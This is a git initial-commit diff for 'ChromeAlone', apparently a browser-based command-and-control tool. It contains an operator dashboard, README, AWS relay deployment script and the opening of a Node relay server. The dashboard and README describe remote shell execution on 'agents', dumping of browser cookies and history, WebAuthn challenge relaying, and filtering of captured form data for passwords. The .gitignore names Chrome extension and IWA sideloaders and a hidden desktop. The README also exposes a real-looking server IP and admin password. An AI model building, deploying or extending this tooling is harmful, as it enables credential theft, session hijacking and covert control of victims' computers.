Initial Commit

This commit is contained in:
Michael Weber
2025-08-05 17:39:31 -04:00
commit 1dd0a47cf9
75 changed files with 16849 additions and 0 deletions
+154
View File
@@ -0,0 +1,154 @@
# Logs
logs
*.log
npm-debug.log*
yarn-debug.log*
yarn-error.log*
lerna-debug.log*
.pnpm-debug.log*
# Diagnostic reports (https://nodejs.org/api/report.html)
report.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json
# Runtime data
pids
*.pid
*.seed
*.pid.lock
# Directory for instrumented libs generated by jscoverage/JSCover
lib-cov
# Coverage directory used by tools like istanbul
coverage
*.lcov
# nyc test coverage
.nyc_output
# Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files)
.grunt
# Bower dependency directory (https://bower.io/)
bower_components
# node-waf configuration
.lock-wscript
# Compiled binary addons (https://nodejs.org/api/addons.html)
build/Release
# Dependency directories
node_modules/
jspm_packages/
# Snowpack dependency directory (https://snowpack.dev/)
web_modules/
# TypeScript cache
*.tsbuildinfo
# Optional npm cache directory
.npm
# Optional eslint cache
.eslintcache
# Optional stylelint cache
.stylelintcache
# Microbundle cache
.rpt2_cache/
.rts2_cache_cjs/
.rts2_cache_es/
.rts2_cache_umd/
# Optional REPL history
.node_repl_history
# Output of 'npm pack'
*.tgz
# Yarn Integrity file
.yarn-integrity
# dotenv environment variable files
.env
.env.development.local
.env.test.local
.env.production.local
.env.local
# parcel-bundler cache (https://parceljs.org/)
.cache
.parcel-cache
# Next.js build output
.next
out
# Nuxt.js build / generate output
.nuxt
dist
# Gatsby files
.cache/
# Comment in the public line in if your project uses Gatsby and not Next.js
# https://nextjs.org/blog/next-9-1#public-directory-support
# public
# vuepress build output
.vuepress/dist
# vuepress v2.x temp and cache directory
.temp
.cache
# Docusaurus cache and generated files
.docusaurus
# Serverless directories
.serverless/
# FuseBox cache
.fusebox/
# DynamoDB Local files
.dynamodb/
# TernJS port file
.tern-port
# Stores VSCode versions used for testing VSCode extensions
.vscode-test
# yarn v2
.yarn/cache
.yarn/unplugged
.yarn/build-state.yml
.yarn/install-state.gz
.pnp.*
cert.pem
package-lock.json
private.key
output/*
.DS_Store
__pycache__
node_modules/
trash/
obj/
DOORKNOB/ExtensionSideloader/python
DOORKNOB/ExtensionSideLoader/powershell/test
.env
extension_sideloader.ps1
iwa_sideloader.ps1
relay-proxy-deploy/
BATTLEPLAN/test
PAINTBUCKET/FidoBinaries
PAINTBUCKET/WebAuthnProxy-Option1
DOORKNOB/IWASideloader/HiddenDesktopNative/dist/*
DOORKNOB/IWASideloader/RegHelper/dist/*
DOORKNOB/IWASideloader/HiddenDesktopNative/dist/*
BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 1.2 MiB

+160
View File
@@ -0,0 +1,160 @@
# ChromeAlone Web Frontend
A web-based dashboard for interacting with the ChromeAlone relay server endpoints.
## Features
- **Agent Management**: View all connected agents with real-time status updates
- **Quick Commands**: Predefined buttons for common operations (ls, shell, cookies, history, webauthn)
- **Command Execution**: Send commands to specific agents with JSON payloads
- **Real-time Task Events**: Live notifications for task queuing and completion via Server-Sent Events
- **Task History**: Persistent task tracking with results stored in localStorage (survives page refreshes)
- **Captured Data Monitoring**: Real-time display of unprompted data captured from agents (form submissions, etc.)
- **Interactive Shell Terminal**: Terminal-style interface for executing shell commands with command history and real-time output
- **Tabbed Interface**: Separate tabs for task history, captured data, file browser, and interactive shell
- **Task Tracking**: Monitor task execution status and results
- **Auto-refresh**: Automatic agent list updates every 10 seconds
- **Persistent Configuration**: Settings saved to browser localStorage
## Available Commands
### Quick Commands
The webapp includes predefined quick command buttons for common operations:
- **📁 List Directory (ls)** - Lists files and directories
- **💻 Shell Command (whoami)** - Executes shell commands
- **🍪 Dump Cookies** - Extracts browser cookies
- **📜 Dump History** - Extracts browser history
- **🔐 WebAuthn Challenge** - Handles WebAuthn authentication requests
### Command Details
#### 1. List Directory (`ls`)
```
Command: "ls"
Payload: {}
```
#### 2. Shell Command (`shell`)
```
Command: "shell"
Payload: "whoami|"
```
Shell commands use a special format where the command and arguments are separated by a `|` character:
- `"whoami|"` - Run whoami with no arguments
- `"ipconfig|/all"` - Run ipconfig with /all argument
- `"dir|C:\\"` - Run dir command on C:\ drive
- `"ps|aux"` - Run ps with aux arguments (Linux/Mac)
The webapp provides separate fields for the shell command and arguments for easier input.
**Note**: Shell command results are returned base64-encoded by the server, but the webapp automatically decodes them for display in both the task history and task response sections.
#### 3. Dump Cookies (`cookies`)
```
Command: "cookies"
Payload: {}
```
#### 4. Dump History (`history`)
```
Command: "history"
Payload: {}
```
#### 5. WebAuthn (`webauthn`)
```
Command: "webauthn"
Payload: "{\"domain\": \"example.com\", \"request\": \"eyJwdWJsaWNLZXkiOnsic...\"}"
```
The `request` field should contain a base64-encoded WebAuthn challenge.
**Important:** The payload field expects a **JSON string**, not a JSON object. For simple commands like `ls`, `cookies`, and `history`, use `{}`. For commands that need parameters like `shell` and `webauthn`, use escaped JSON strings.
## Tabbed Interface
The dashboard features a tabbed interface with four main sections:
### Task History Tab
- Displays all executed commands and their results
- Filter by agent IP address
- Shows task status (pending, completed, failed)
- Displays command payloads and results
- Clear all task history
### Captured Data Tab
- Displays data automatically captured from agents (form submissions, etc.)
- **Filter by Agent IP**: Shows only data from specific agents
- **Filter by Content**: Search for specific keywords in captured data (e.g., "password", "username", "email")
- **Filter by Data Type**: Filter by the type of captured data
- Clear captured data independently from task history
Content filtering is particularly useful for security monitoring - you can quickly find captured credentials or sensitive information by searching for keywords like "password", "username", "email", "ssn", etc.
### File Browser Tab
- Browse files and directories on remote agents using `ls` commands
- Navigate directories with clickable folder entries and breadcrumb navigation
- "Traverse up" button for parent directory navigation
- Agent selection and starting path configuration
### Interactive Shell Tab
- **Terminal-style interface** simulating a command-line terminal
- **Command History Navigation**: Use up/down arrow keys to navigate through previously executed commands
- **Real-time Output**: Command results appear directly in the terminal as they complete
- **ASCII Spinner**: Visual indicator while commands are executing
- **Agent Selection**: Choose which agent to connect to for shell commands
- **Quick Command Integration**: Terminal-specific quick command buttons for instant execution
- **Auto-scroll**: Terminal automatically scrolls to show latest output
- **Clear Terminal**: Reset terminal display while preserving command history
The Interactive Shell provides a familiar terminal experience for executing shell commands, complete with command history, real-time feedback, and visual execution indicators.
## Usage
1. Open `index.html` in your web browser
2. Configure server settings (host, port, credentials)
3. Use the dashboard to:
- View connected agents
- Execute quick commands or custom commands
- Monitor task status
- View task history with filtering by agent IP in the "Task History" tab
- View captured data with content and type filtering in the "Captured Data" tab
- Browse files and directories in the "File Browser" tab
- Use the "Interactive Shell" tab for terminal-style command execution
- Clear task history or captured data independently
## Server Endpoints
The frontend interacts with these relay server endpoints:
- `GET /info` - Agent information and status
- `POST /command` - Execute commands on agents
- `GET /task/:taskId` - Check task execution status
- `GET /events` - Server-Sent Events stream for real-time task notifications
## Configuration
The application loads default settings from `config.js`. This JavaScript-based approach avoids CORS issues when loading files locally and centralizes all configuration for easy customization.
### Default Configuration
- **Host**: 18.223.36.246
- **Port**: 1080
- **Username**: admin
- **Password**: wpMtNeiMla3orv1nD62xQ9Rjn6Be/HaLehZHeQPyevc=
### Customization
To customize default settings:
1. Edit `config.js` with your preferred values
2. The application will load these as defaults
3. Users can still override settings in the UI (saved to localStorage)
See `CONFIG.md` for detailed configuration documentation.
## Keyboard Shortcuts
- `Ctrl+R` - Refresh agent list
- `Ctrl+Enter` - Execute command (when in command or payload field)
## Security Note
This frontend uses Basic Authentication to communicate with the relay server. Ensure you're using HTTPS in production environments.
+2004
View File
File diff suppressed because it is too large Load Diff
+22
View File
@@ -0,0 +1,22 @@
// ChromeAlone Web Frontend Configuration
// This file contains all default configuration values
// Modify these values to customize the application for your environment
window.ChromeAloneConfig = {
server: {
defaultHost: "1.2.3.4",
defaultPort: "1080"
},
auth: {
defaultUsername: "admin",
defaultPassword: "thiswillbechanged"
},
fileBrowser: {
defaultStartPath: "c:\\"
},
ui: {
autoRefreshInterval: 10000,
taskHistoryLimit: 100,
capturedDataLimit: 100
}
};
+930
View File
@@ -0,0 +1,930 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>ChromeAlone Server Dashboard</title>
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
min-height: 100vh;
padding: 20px;
}
.container {
max-width: 1200px;
margin: 0 auto;
background: white;
border-radius: 10px;
box-shadow: 0 10px 30px rgba(0,0,0,0.1);
overflow: hidden;
}
.header {
background: linear-gradient(135deg, #2c3e50, #34495e);
color: white;
padding: 30px;
text-align: center;
}
.header h1 {
font-size: 2.5em;
margin-bottom: 10px;
}
.header p {
opacity: 0.8;
font-size: 1.1em;
}
.content {
padding: 30px;
}
.section {
margin-bottom: 30px;
background: #f8f9fa;
border-radius: 8px;
padding: 20px;
}
.section h2 {
color: #2c3e50;
margin-bottom: 15px;
font-size: 1.5em;
border-bottom: 2px solid #3498db;
padding-bottom: 5px;
}
.form-group {
margin-bottom: 15px;
}
label {
display: block;
margin-bottom: 5px;
font-weight: 600;
color: #34495e;
}
input, textarea, select {
width: 100%;
padding: 12px;
border: 1px solid #ddd;
border-radius: 5px;
font-size: 14px;
transition: border-color 0.3s;
}
input:focus, textarea:focus, select:focus {
outline: none;
border-color: #3498db;
box-shadow: 0 0 5px rgba(52, 152, 219, 0.3);
}
button {
background: linear-gradient(135deg, #3498db, #2980b9);
color: white;
border: none;
padding: 12px 25px;
border-radius: 5px;
cursor: pointer;
font-size: 14px;
font-weight: 600;
transition: transform 0.2s, box-shadow 0.2s;
}
button:hover {
transform: translateY(-2px);
box-shadow: 0 5px 15px rgba(52, 152, 219, 0.4);
}
button:active {
transform: translateY(0);
}
.status-indicator {
display: inline-block;
width: 12px;
height: 12px;
border-radius: 50%;
margin-right: 8px;
}
.status-online { background-color: #27ae60; }
.status-offline { background-color: #e74c3c; }
.response-area {
background: #2c3e50;
color: #ecf0f1;
padding: 15px;
border-radius: 5px;
font-family: 'Courier New', monospace;
font-size: 13px;
max-height: 300px;
overflow-y: auto;
white-space: pre-wrap;
word-wrap: break-word;
}
.agent-card {
background: white;
border: 1px solid #ddd;
border-radius: 8px;
padding: 15px;
margin: 10px 0;
box-shadow: 0 2px 5px rgba(0,0,0,0.1);
}
.agent-header {
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 10px;
}
.agent-id {
font-family: monospace;
background: #ecf0f1;
padding: 4px 8px;
border-radius: 4px;
font-size: 12px;
}
.grid {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(300px, 1fr));
gap: 20px;
}
.loading {
display: inline-block;
width: 20px;
height: 20px;
border: 3px solid #f3f3f3;
border-top: 3px solid #3498db;
border-radius: 50%;
animation: spin 1s linear infinite;
}
@keyframes spin {
0% { transform: rotate(0deg); }
100% { transform: rotate(360deg); }
}
.hidden {
display: none;
}
.error {
background: #e74c3c;
color: white;
padding: 10px;
border-radius: 5px;
margin: 10px 0;
}
.success {
background: #27ae60;
color: white;
padding: 10px;
border-radius: 5px;
margin: 10px 0;
}
.quick-commands {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
gap: 10px;
margin-bottom: 20px;
}
.quick-cmd {
background: linear-gradient(135deg, #27ae60, #2ecc71);
color: white;
border: none;
padding: 15px 20px;
border-radius: 8px;
cursor: pointer;
font-size: 14px;
font-weight: 600;
transition: all 0.3s ease;
text-align: left;
}
.quick-cmd:hover {
transform: translateY(-3px);
box-shadow: 0 8px 25px rgba(46, 204, 113, 0.4);
}
.quick-cmd:active {
transform: translateY(0);
}
.quick-cmd:disabled {
background: #95a5a6;
cursor: not-allowed;
transform: none;
}
.task-history-item {
background: white;
border: 1px solid #ddd;
border-radius: 8px;
padding: 15px;
margin: 10px 0;
box-shadow: 0 2px 5px rgba(0,0,0,0.1);
}
.task-header {
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 10px;
flex-wrap: wrap;
}
.task-id {
font-family: monospace;
background: #ecf0f1;
padding: 4px 8px;
border-radius: 4px;
font-size: 12px;
}
.task-status {
padding: 4px 12px;
border-radius: 15px;
font-size: 12px;
font-weight: bold;
}
.status-pending {
background: #f39c12;
color: white;
}
.status-completed {
background: #27ae60;
color: white;
}
.status-failed {
background: #e74c3c;
color: white;
}
.task-details {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(150px, 1fr));
gap: 10px;
margin-bottom: 10px;
}
.task-result {
background: #2c3e50;
color: #ecf0f1;
padding: 10px;
border-radius: 5px;
font-family: 'Courier New', monospace;
font-size: 12px;
max-height: 200px;
overflow-y: auto;
white-space: pre-wrap;
word-wrap: break-word;
}
.no-history {
text-align: center;
color: #7f8c8d;
font-style: italic;
padding: 20px;
}
.tab-nav {
display: flex;
border-bottom: 2px solid #ecf0f1;
margin-bottom: 20px;
}
.tab-btn {
background: none;
border: none;
padding: 12px 20px;
cursor: pointer;
font-size: 14px;
font-weight: 600;
color: #7f8c8d;
border-bottom: 3px solid transparent;
transition: all 0.3s ease;
}
.tab-btn:hover {
color: #3498db;
background: #f8f9fa;
}
.tab-btn.active {
color: #3498db;
border-bottom-color: #3498db;
}
.tab-content {
display: none;
}
.tab-content.active {
display: block;
}
.tab-controls {
background: #f8f9fa;
padding: 15px;
border-radius: 8px;
margin-bottom: 20px;
display: flex;
flex-wrap: wrap;
gap: 15px;
align-items: flex-end;
}
.tab-controls .form-group {
flex: 1;
min-width: 200px;
margin-bottom: 0;
}
.tab-controls button {
background: linear-gradient(135deg, #e74c3c, #c0392b);
white-space: nowrap;
flex-shrink: 0;
align-self: flex-end;
}
.tab-controls button:hover {
transform: translateY(-2px);
box-shadow: 0 5px 15px rgba(231, 76, 60, 0.4);
}
.unread-badge {
background: #e74c3c;
color: white;
border-radius: 50%;
padding: 2px 6px;
font-size: 11px;
font-weight: bold;
margin-left: 8px;
min-width: 18px;
text-align: center;
display: inline-block;
}
.captured-item {
position: relative;
}
.captured-item.unread {
border-left: 4px solid #e74c3c;
background: #fdf2f2;
}
.captured-item.unread::before {
content: "NEW";
position: absolute;
top: 45px;
right: 10px;
background: #e74c3c;
color: white;
padding: 2px 8px;
border-radius: 3px;
font-size: 11px;
font-weight: bold;
z-index: 1;
}
.mark-read-btn {
background: linear-gradient(135deg, #27ae60, #2ecc71);
color: white;
border: none;
padding: 6px 12px;
border-radius: 4px;
cursor: pointer;
font-size: 12px;
margin-top: 10px;
transition: all 0.3s ease;
}
.mark-read-btn:hover {
transform: translateY(-1px);
box-shadow: 0 3px 10px rgba(39, 174, 96, 0.4);
}
#markAllAsRead {
background: linear-gradient(135deg, #3498db, #2980b9);
}
#markAllAsRead:hover {
transform: translateY(-2px);
box-shadow: 0 5px 15px rgba(52, 152, 219, 0.4);
}
.browser-breadcrumb {
background: #f8f9fa;
padding: 10px 15px;
border-radius: 5px;
margin-bottom: 15px;
font-family: monospace;
font-size: 14px;
border: 1px solid #ddd;
display: flex;
align-items: center;
gap: 10px;
}
.browser-up-btn {
background: linear-gradient(135deg, #95a5a6, #7f8c8d);
color: white;
border: none;
padding: 6px 12px;
border-radius: 4px;
cursor: pointer;
font-size: 12px;
font-weight: 600;
transition: all 0.3s ease;
flex-shrink: 0;
}
.browser-up-btn:hover {
background: linear-gradient(135deg, #7f8c8d, #6c7b7d);
transform: translateY(-1px);
box-shadow: 0 3px 8px rgba(127, 140, 141, 0.4);
}
.browser-up-btn:active {
transform: translateY(0);
}
#browserPathDisplay {
flex: 1;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}
.browser-content {
min-height: 300px;
border: 1px solid #ddd;
border-radius: 5px;
background: white;
}
.browser-placeholder {
text-align: center;
color: #7f8c8d;
font-style: italic;
padding: 50px 20px;
}
.browser-item {
display: grid;
grid-template-columns: 30px 1fr 120px 150px;
gap: 10px;
align-items: center;
padding: 10px 15px;
border-bottom: 1px solid #ecf0f1;
cursor: pointer;
transition: background-color 0.2s;
}
.browser-item:hover {
background-color: #f8f9fa;
}
.browser-item:last-child {
border-bottom: none;
}
.browser-item.folder {
cursor: pointer;
}
.browser-item.file {
cursor: default;
opacity: 0.7;
}
.browser-icon {
font-size: 16px;
text-align: center;
}
.browser-name {
font-family: monospace;
font-size: 14px;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}
.browser-size {
font-family: monospace;
font-size: 12px;
color: #7f8c8d;
text-align: right;
}
.browser-date {
font-family: monospace;
font-size: 12px;
color: #7f8c8d;
text-align: right;
}
.browser-header {
display: grid;
grid-template-columns: 30px 1fr 120px 150px;
gap: 10px;
align-items: center;
padding: 10px 15px;
background-color: #f8f9fa;
border-bottom: 2px solid #dee2e6;
font-weight: bold;
color: #495057;
}
.browser-header .browser-name,
.browser-header .browser-size,
.browser-header .browser-date {
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
font-size: 13px;
}
.browser-header .browser-size,
.browser-header .browser-date {
text-align: right;
}
.browser-loading {
text-align: center;
padding: 30px;
color: #7f8c8d;
}
.browser-error {
text-align: center;
padding: 30px;
color: #e74c3c;
background: #fdf2f2;
border-radius: 5px;
margin: 10px;
}
/* Interactive Shell Styles */
.shell-terminal {
background: #1e1e1e;
color: #00ff00;
border-radius: 8px;
min-height: 400px;
max-height: 600px;
overflow-y: auto;
font-family: 'Courier New', monospace;
font-size: 14px;
padding: 15px;
border: 2px solid #333;
}
.shell-output {
margin-bottom: 15px;
min-height: 300px;
}
.shell-welcome {
color: #888;
margin-bottom: 10px;
font-style: italic;
}
.shell-line {
margin: 2px 0;
word-wrap: break-word;
}
.shell-command {
color: #00ff00;
margin-bottom: 5px;
}
.shell-result {
color: #ffffff;
white-space: pre-wrap;
margin-bottom: 10px;
padding-left: 4px;
}
.shell-error {
color: #ff6b6b;
margin-bottom: 10px;
}
.shell-info {
color: #888;
font-style: italic;
margin-bottom: 5px;
}
.shell-input-container {
display: flex;
align-items: center;
position: sticky;
bottom: 0;
background: #1e1e1e;
padding-top: 10px;
}
.shell-prompt {
color: #00ff00;
font-weight: bold;
margin-right: 8px;
user-select: none;
}
.shell-input {
flex: 1;
background: transparent;
border: none;
color: #00ff00;
font-family: 'Courier New', monospace;
font-size: 14px;
outline: none;
padding: 0;
}
.shell-input:disabled {
color: #666;
}
.shell-input::placeholder {
color: #666;
}
.shell-spinner {
color: #ffff00;
display: inline-block;
}
.shell-spinner::after {
content: '|';
animation: shell-spin-chars 0.5s linear infinite;
}
@keyframes shell-spin-chars {
0% { content: '|'; }
25% { content: '/'; }
50% { content: '-'; }
75% { content: '\\'; }
}
</style>
</head>
<body>
<div class="container">
<div class="header">
<h1>ChromeAlone Server Dashboard</h1>
<p>Monitor agents and execute commands on your relay server</p>
<div id="connectionStatus" style="margin-top: 10px; font-size: 14px; opacity: 0.8;">
<span id="sseStatus">🔄 Connecting to events...</span>
</div>
</div>
<div class="content">
<!-- Server Configuration -->
<div class="section">
<h2>Server Configuration</h2>
<div class="grid">
<div class="form-group">
<label for="serverHost">Server Host:</label>
<input type="text" id="serverHost" value="" placeholder="Server IP or hostname">
</div>
<div class="form-group">
<label for="serverPort">Server Port:</label>
<input type="number" id="serverPort" value="" placeholder="1080">
</div>
<div class="form-group">
<label for="username">Username:</label>
<input type="text" id="username" value="" placeholder="admin">
</div>
<div class="form-group">
<label for="password">Password:</label>
<input type="password" id="password" value="" placeholder="Password">
</div>
</div>
</div>
<!-- Agent Information -->
<div class="section">
<h2>Agent Information</h2>
<button id="getAgents">Refresh Agent List</button>
<div id="agentsList"></div>
</div>
<!-- Task History & Captured Data -->
<div class="section">
<h2>History & Monitoring</h2>
<!-- Tab Navigation -->
<div class="tab-nav">
<button class="tab-btn active" data-tab="tasks">Task History</button>
<button class="tab-btn" data-tab="captured">
Captured Data
<span id="unreadCounter" class="unread-badge hidden"></span>
</button>
<button class="tab-btn" data-tab="browser">File Browser</button>
<button class="tab-btn" data-tab="shell">Interactive Shell</button>
</div>
<!-- Tasks Tab -->
<div id="tasks-tab" class="tab-content active">
<div class="tab-controls">
<div class="form-group">
<label for="historyFilter">Filter by Agent IP:</label>
<select id="historyFilter">
<option value="">All Agents</option>
</select>
</div>
<button id="clearTaskHistory">Clear Task History</button>
</div>
<div id="taskHistory"></div>
</div>
<!-- Captured Data Tab -->
<div id="captured-tab" class="tab-content">
<div class="tab-controls">
<div class="form-group">
<label for="capturedAgentFilter">Filter by Agent IP:</label>
<select id="capturedAgentFilter">
<option value="">All Agents</option>
</select>
</div>
<div class="form-group">
<label for="capturedContentFilter">Filter by Content:</label>
<input type="text" id="capturedContentFilter" placeholder="e.g., password, username, email">
</div>
<div class="form-group">
<label for="capturedTypeFilter">Filter by Data Type:</label>
<select id="capturedTypeFilter">
<option value="">All Types</option>
</select>
</div>
<button id="markAllAsRead">Mark All as Read</button>
<button id="clearCapturedData">Clear Captured Data</button>
</div>
<div id="capturedDataHistory"></div>
</div>
<!-- File Browser Tab -->
<div id="browser-tab" class="tab-content">
<div class="tab-controls">
<div class="form-group">
<label for="browserAgentSelect">Select Agent:</label>
<select id="browserAgentSelect">
<option value="">Select an agent...</option>
</select>
</div>
<div class="form-group">
<label for="browserStartPath">Starting Path:</label>
<input type="text" id="browserStartPath" placeholder="c:\" value="">
</div>
<button id="browserStart">Browse Files</button>
<button id="browserRefresh">Refresh</button>
</div>
<!-- Breadcrumb Navigation -->
<div id="browserBreadcrumb" class="browser-breadcrumb hidden">
<button id="browserUpButton" class="browser-up-btn hidden" title="Go up one directory">📁 ↑</button>
<span id="browserPathDisplay"></span>
</div>
<!-- File Browser Content -->
<div id="browserContent" class="browser-content">
<div class="browser-placeholder">
Select an agent and starting path to begin browsing files
</div>
</div>
</div>
<!-- Interactive Shell Tab -->
<div id="shell-tab" class="tab-content">
<div class="tab-controls">
<div class="form-group">
<label for="shellAgentSelect">Select Agent:</label>
<select id="shellAgentSelect">
<option value="">Select an agent...</option>
</select>
</div>
<button id="shellClear">Clear Terminal</button>
</div>
<!-- Terminal Container -->
<div id="shellTerminal" class="shell-terminal">
<div id="shellOutput" class="shell-output">
<div class="shell-welcome">Interactive Shell Terminal - Select an agent to begin</div>
</div>
<div class="shell-input-container">
<span class="shell-prompt" id="shellPrompt">$</span>
<input type="text" id="shellInput" class="shell-input" placeholder="Enter shell command..." disabled>
</div>
</div>
</div>
</div>
<!-- Predefined Commands -->
<div class="section">
<h2>Quick Commands</h2>
<div class="quick-commands">
<button class="quick-cmd" data-cmd="ls" data-payload="C:\">📁 List Directory (ls)</button>
<button class="quick-cmd shell-cmd" data-shellcmd="whoami" data-shellargs="">💻 Terminal whoami</button>
<button class="quick-cmd shell-cmd" data-shellcmd="dir" data-shellargs="">📂 Terminal dir</button>
<button class="quick-cmd shell-cmd" data-shellcmd="ipconfig" data-shellargs="/all">🌐 Terminal ipconfig</button>
<button class="quick-cmd" data-cmd="shell" data-shellcmd="whoami" data-shellargs="">👤 whoami</button>
<button class="quick-cmd" data-cmd="shell" data-shellcmd="ipconfig" data-shellargs="/all">🌐 ipconfig /all</button>
<button class="quick-cmd" data-cmd="shell" data-shellcmd="dir" data-shellargs="">📂 dir</button>
<button class="quick-cmd" data-cmd="cookies" data-payload="{}">🍪 Dump Cookies</button>
<button class="quick-cmd" data-cmd="history" data-payload="{}">📜 Dump History</button>
<button class="quick-cmd" data-cmd="webauthn" data-payload='"{\"domain\": \"example.com\", \"request\": \"eyJwdWJsaWNLZXkiOksic...\"}"'>🔐 WebAuthn Challenge</button>
</div>
</div>
<!-- Command Execution -->
<div class="section">
<h2>Execute Command</h2>
<div class="grid">
<div class="form-group">
<label for="targetIp">Target Agent IP:</label>
<select id="targetIp">
<option value="">Select an agent...</option>
</select>
</div>
<div class="form-group">
<label for="command">Command:</label>
<select id="command">
<option value="">Select command...</option>
<option value="ls">ls (List Directory)</option>
<option value="shell">shell (Execute Shell Command)</option>
<option value="cookies">cookies (Dump Cookies)</option>
<option value="history">history (Dump History)</option>
<option value="webauthn">webauthn (WebAuthn Challenge)</option>
</select>
</div>
</div>
<!-- Shell Command Fields (shown only when shell is selected) -->
<div id="shellCommandFields" class="hidden">
<div class="grid">
<div class="form-group">
<label for="shellCommand">Shell Command:</label>
<input type="text" id="shellCommand" placeholder="whoami, ipconfig, dir, etc.">
</div>
<div class="form-group">
<label for="shellArgs">Arguments (optional):</label>
<input type="text" id="shellArgs" placeholder="/all, -la, etc.">
</div>
</div>
</div>
<!-- Generic Payload Field (shown for non-shell commands) -->
<div id="genericPayloadField">
<div class="form-group">
<label for="payload">Payload (JSON String):</label>
<textarea id="payload" rows="4" placeholder='Select a command to see specific format requirements'></textarea>
</div>
</div>
<button id="executeCommand">Execute Command</button>
<div id="commandResponse" class="response-area hidden"></div>
</div>
<!-- Task Status -->
<div class="section">
<h2>Task Status</h2>
<div class="form-group">
<label for="taskId">Task ID:</label>
<input type="text" id="taskId" placeholder="Enter task ID to check status">
</div>
<button id="checkTask">Check Task Status</button>
<div id="taskResponse" class="response-area hidden"></div>
</div>
</div>
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/pako/2.1.0/pako.min.js"></script>
<script src="config.js"></script>
<script src="app.js"></script>
</body>
</html>
+135
View File
@@ -0,0 +1,135 @@
#!/bin/bash
set -e
# Parse command line arguments
DOMAIN_NAME=""
AWS_REGION="us-east-2" # Default region
while [[ $# -gt 0 ]]; do
case $1 in
--domain)
DOMAIN_NAME="$2"
shift 2
;;
--region)
AWS_REGION="$2"
shift 2
;;
*)
echo "Unknown option: $1"
echo "Usage: $0 [--domain domain.example.com] [--region aws-region]"
exit 1
;;
esac
done
# Check for AWS CLI and Terraform
if ! command -v aws &> /dev/null; then
echo "AWS CLI not found. Please install it first."
exit 1
fi
if ! command -v terraform &> /dev/null; then
echo "Terraform not found. Please install it first."
exit 1
fi
# Configure AWS credentials if not already set
if ! aws sts get-caller-identity &> /dev/null; then
echo "AWS credentials not found. Run aws configure first."
exit 1
fi
# Create deployment directory
DEPLOY_DIR="../output/relay-deployment"
mkdir -p "$DEPLOY_DIR/files"
# Copy Terraform configuration files
cp main.tf variables.tf outputs.tf "$DEPLOY_DIR/"
cp -r files/* "$DEPLOY_DIR/files/"
cd "$DEPLOY_DIR"
# Create SSH key pair if it doesn't exist
KEY_NAME="relay-proxy-key"
if ! aws ec2 describe-key-pairs --key-names "$KEY_NAME" &> /dev/null; then
echo "Creating new SSH key pair..."
aws ec2 create-key-pair \
--key-name "$KEY_NAME" \
--query 'KeyMaterial' \
--output text > "${KEY_NAME}.pem"
chmod 400 "${KEY_NAME}.pem"
fi
# Get current IP for "office_ip_range"
CURRENT_IP=$(curl -s https://checkip.amazonaws.com)
OFFICE_IP_RANGE="${CURRENT_IP}/32"
echo "Detected IP address: $OFFICE_IP_RANGE"
echo "Using AWS region: $AWS_REGION"
# Generate secure random tokens
RELAY_TOKEN=$(openssl rand -hex 32)
PROXY_USER="admin"
PROXY_PASS=$(openssl rand -base64 32)
# Create terraform.tfvars
cat > terraform.tfvars << EOF
aws_region = "${AWS_REGION}"
office_ip_range = "${OFFICE_IP_RANGE}"
key_name = "${KEY_NAME}"
relay_token = "${RELAY_TOKEN}"
proxy_user = "${PROXY_USER}"
proxy_pass = "${PROXY_PASS}"
instance_type = "t3.micro"
domain_name = "${DOMAIN_NAME}"
EOF
# Initialize and apply Terraform
echo "Initializing Terraform..."
terraform init
echo "Validating Terraform configuration..."
terraform validate
echo "Applying Terraform configuration..."
terraform apply -auto-approve
# Save connection details
echo "Saving connection details..."
RELAY_IP=$(terraform output -raw relay_public_ip)
cat > relay-config.txt << EOF
Relay Server Details:
====================
SOCKS5 Proxy: ${RELAY_IP}:1080
Username: ${PROXY_USER}
Password: ${PROXY_PASS}
WebSocket URL: wss://${RELAY_IP}:443
Relay Token: ${RELAY_TOKEN}
SSH Key: ${PWD}/${KEY_NAME}.pem
SSH Command: ssh -i ${KEY_NAME}.pem ec2-user@${RELAY_IP}
Example SOCKS5 Configuration:
============================
Host: ${RELAY_IP}
Info Port: 1080
Port Range: 1081-1181
Username: ${PROXY_USER}
Password: ${PROXY_PASS}
For Datacenter Agent Configuration:
=================================
RELAY_SERVER=wss://${RELAY_IP}:443
RELAY_TOKEN=${RELAY_TOKEN}
EOF
chmod 600 relay-config.txt
echo "Deployment complete! Configuration saved to relay-config.txt"
echo "Allow a few minutes for the server to finish initialization."
echo "To test the connection: ssh -i ${KEY_NAME}.pem ec2-user@${RELAY_IP}"
# Add setup log viewing option
echo -e "\n\nTo view setup logs:"
echo "aws ec2 get-console-output --instance-id $(terraform output -raw relay_instance_id)"
echo "or"
echo "ssh -i ${KEY_NAME}.pem ec2-user@${RELAY_IP} 'sudo cat /var/log/cloud-init-output.log'"
+954
View File
@@ -0,0 +1,954 @@
require('dotenv').config();
const WebSocket = require('ws');
const https = require('https');
const fs = require('fs');
const express = require('express');
const socks = require('socksv5');
const crypto = require('crypto');
const winston = require('winston');
const http = require('http');
const selfsigned = require('selfsigned');
const logger = winston.createLogger({
level: 'debug',
format: winston.format.combine(
winston.format.timestamp(),
winston.format.json()
),
transports: [
new winston.transports.File({ filename: 'error.log', level: 'error' }),
new winston.transports.File({ filename: 'combined.log' })
]
});
if (process.env.NODE_ENV !== 'production') {
logger.add(new winston.transports.Console({
format: winston.format.simple()
}));
}
class RelayServer {
constructor() {
this.app = express();
this.server = http.createServer(this.app);
this.wss = new WebSocket.Server({ server: this.server });
this.agents = new Map();
this.connections = new Map();
this.portMap = new Map();
this.ipToAgentId = new Map();
this.portRange = { start: 1081, end: 1181 };
